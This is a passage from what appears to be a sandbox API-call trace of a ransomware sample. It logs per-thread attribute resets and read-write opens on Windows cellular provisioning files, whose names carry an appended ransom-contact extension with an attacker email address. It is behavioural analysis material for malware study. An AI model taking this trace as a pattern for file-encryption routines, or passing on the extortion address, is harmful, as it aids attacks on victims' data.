(Ecuador)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\104__connections_cellular_porta gsm (ecuador)_i0$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0177.223] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\104__Connections_Cellular_PORTA GSM (Ecuador)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0177.223] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f0b880) returned 1 [0177.223] RtlExitUserThread (Status=0x0) Thread: id = 2599 os_tid = 0x1020 [0177.224] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\105__Connections_Cellular_Telefonica (Ecuador)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\105__connections_cellular_telefonica (ecuador)_i0$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0177.225] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\105__Connections_Cellular_Telefonica (Ecuador)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0177.225] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\105__Connections_Cellular_Telefonica (Ecuador)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\105__connections_cellular_telefonica (ecuador)_i0$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0177.225] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\105__Connections_Cellular_Telefonica (Ecuador)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0177.225] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f0ba18) returned 1 [0177.225] RtlExitUserThread (Status=0x0) Thread: id = 2600 os_tid = 0x1024 [0177.226] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\106__Connections_Cellular_Mobinil (Egypt)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\106__connections_cellular_mobinil (egypt)_i0$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0177.227] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\106__Connections_Cellular_Mobinil (Egypt)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0177.227] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\106__Connections_Cellular_Mobinil (Egypt)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\106__connections_cellular_mobinil (egypt)_i0$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0177.227] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\106__Connections_Cellular_Mobinil (Egypt)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0177.227] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f0bbb0) returned 1 [0177.227] RtlExitUserThread (Status=0x0) Thread: id = 2601 os_tid = 0x1028 [0177.228] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\107__Connections_Cellular_Vodafone Egypt (Egypt)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\107__connections_cellular_vodafone egypt (egypt)_i0$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0177.228] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\107__Connections_Cellular_Vodafone Egypt (Egypt)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0177.228] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\107__Connections_Cellular_Vodafone Egypt (Egypt)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\107__connections_cellular_vodafone egypt (egypt)_i0$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0177.229] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\107__Connections_Cellular_Vodafone Egypt (Egypt)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0177.229] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f0bd40) returned 1 [0177.229] RtlExitUserThread (Status=0x0) Thread: id = 2602 os_tid = 0x102c [0177.230] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\108__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\108__cellular_persimsettings_$(__iccid)_appid.provxml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0177.230] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\108__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0177.230] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\108__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\108__cellular_persimsettings_$(__iccid)_appid.provxml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0177.231] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\108__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0177.231] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f98f60) returned 1 [0177.231] RtlExitUserThread (Status=0x0) Thread: id = 2603 os_tid = 0x1030 [0177.232] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\109__Connections_Cellular_Etisalat Misr (Egypt)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\109__connections_cellular_etisalat misr (egypt)_i0$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0177.233] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\109__Connections_Cellular_Etisalat Misr (Egypt)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0177.233] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\109__Connections_Cellular_Etisalat Misr (Egypt)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\109__connections_cellular_etisalat misr (egypt)_i0$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0177.233] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\109__Connections_Cellular_Etisalat Misr (Egypt)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0177.233] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f990d8) returned 1 [0177.233] RtlExitUserThread (Status=0x0) Thread: id = 2604 os_tid = 0x1034 [0177.234] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\10__Connections_Cellular_Optus (Australia)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\10__connections_cellular_optus (australia)_i1$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0177.239] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\10__Connections_Cellular_Optus (Australia)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0177.239] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\10__Connections_Cellular_Optus (Australia)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\10__connections_cellular_optus (australia)_i1$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0177.240] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\10__Connections_Cellular_Optus (Australia)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0177.240] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f99270) returned 1 [0177.240] RtlExitUserThread (Status=0x0) Thread: id = 2605 os_tid = 0x1038 [0177.241] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\110__Connections_Cellular_Claro (El Salvador)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\110__connections_cellular_claro (el salvador)_i0$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0177.243] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\110__Connections_Cellular_Claro (El Salvador)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0177.243] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\110__Connections_Cellular_Claro (El Salvador)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\110__connections_cellular_claro (el salvador)_i0$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0177.244] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\110__Connections_Cellular_Claro (El Salvador)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0177.244] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f99400) returned 1 [0177.244] RtlExitUserThread (Status=0x0) Thread: id = 2606 os_tid = 0x103c [0177.245] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\111__Connections_Cellular_Claro (El Salvador)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\111__connections_cellular_claro (el salvador)_i1$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0177.245] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\111__Connections_Cellular_Claro (El Salvador)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0177.245] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\111__Connections_Cellular_Claro (El Salvador)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\111__connections_cellular_claro (el salvador)_i1$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0177.245] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\111__Connections_Cellular_Claro (El Salvador)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0177.245] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x305e470) returned 1 [0177.245] RtlExitUserThread (Status=0x0) Thread: id = 2607 os_tid = 0x1040 [0177.247] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\112__Connections_Cellular_Telefonica (El Salvador)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\112__connections_cellular_telefonica (el salvador)_i0$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0177.247] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\112__Connections_Cellular_Telefonica (El Salvador)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0177.247] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\112__Connections_Cellular_Telefonica (El Salvador)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\112__connections_cellular_telefonica (el salvador)_i0$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0177.247] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\112__Connections_Cellular_Telefonica (El Salvador)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0177.247] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x305e608) returned 1 [0177.247] RtlExitUserThread (Status=0x0) Thread: id = 2608 os_tid = 0x1044 [0177.248] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\113__Connections_Cellular_TIGO (El Salvador)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\113__connections_cellular_tigo (el salvador)_i0$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0177.249] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\113__Connections_Cellular_TIGO (El Salvador)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0177.249] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\113__Connections_Cellular_TIGO (El Salvador)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\113__connections_cellular_tigo (el salvador)_i0$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0177.249] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\113__Connections_Cellular_TIGO (El Salvador)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0177.249] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x305e7a8) returned 1 [0177.249] RtlExitUserThread (Status=0x0) Thread: id = 2609 os_tid = 0x1048 [0177.250] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\114__Connections_Cellular_TIGO (El Salvador)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\114__connections_cellular_tigo (el salvador)_i1$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0177.250] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\114__Connections_Cellular_TIGO (El Salvador)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0177.250] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\114__Connections_Cellular_TIGO (El Salvador)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\114__connections_cellular_tigo (el salvador)_i1$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0177.251] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\114__Connections_Cellular_TIGO (El Salvador)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0177.251] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x305e938) returned 1 [0177.251] RtlExitUserThread (Status=0x0) Thread: id = 2610 os_tid = 0x104c [0177.252] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\115__Connections_Cellular_Elisa Estonia (Estonia)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\115__connections_cellular_elisa estonia (estonia)_i0$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0177.252] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\115__Connections_Cellular_Elisa Estonia (Estonia)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0177.252] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\115__Connections_Cellular_Elisa Estonia (Estonia)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\115__connections_cellular_elisa estonia (estonia)_i0$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0177.252] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\115__Connections_Cellular_Elisa Estonia (Estonia)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0177.252] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x305eac8) returned 1 [0177.252] RtlExitUserThread (Status=0x0) Thread: id = 2611 os_tid = 0x1050 [0177.253] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\116__Connections_Cellular_EMT (Estonia)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\116__connections_cellular_emt (estonia)_i0$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0177.254] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\116__Connections_Cellular_EMT (Estonia)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0177.254] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\116__Connections_Cellular_EMT (Estonia)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\116__connections_cellular_emt (estonia)_i0$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0177.254] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\116__Connections_Cellular_EMT (Estonia)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0177.254] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x305ec68) returned 1 [0177.254] RtlExitUserThread (Status=0x0) Thread: id = 2612 os_tid = 0x1054 [0177.255] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\117__Connections_Cellular_EMT (Estonia)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\117__connections_cellular_emt (estonia)_i1$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0177.255] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\117__Connections_Cellular_EMT 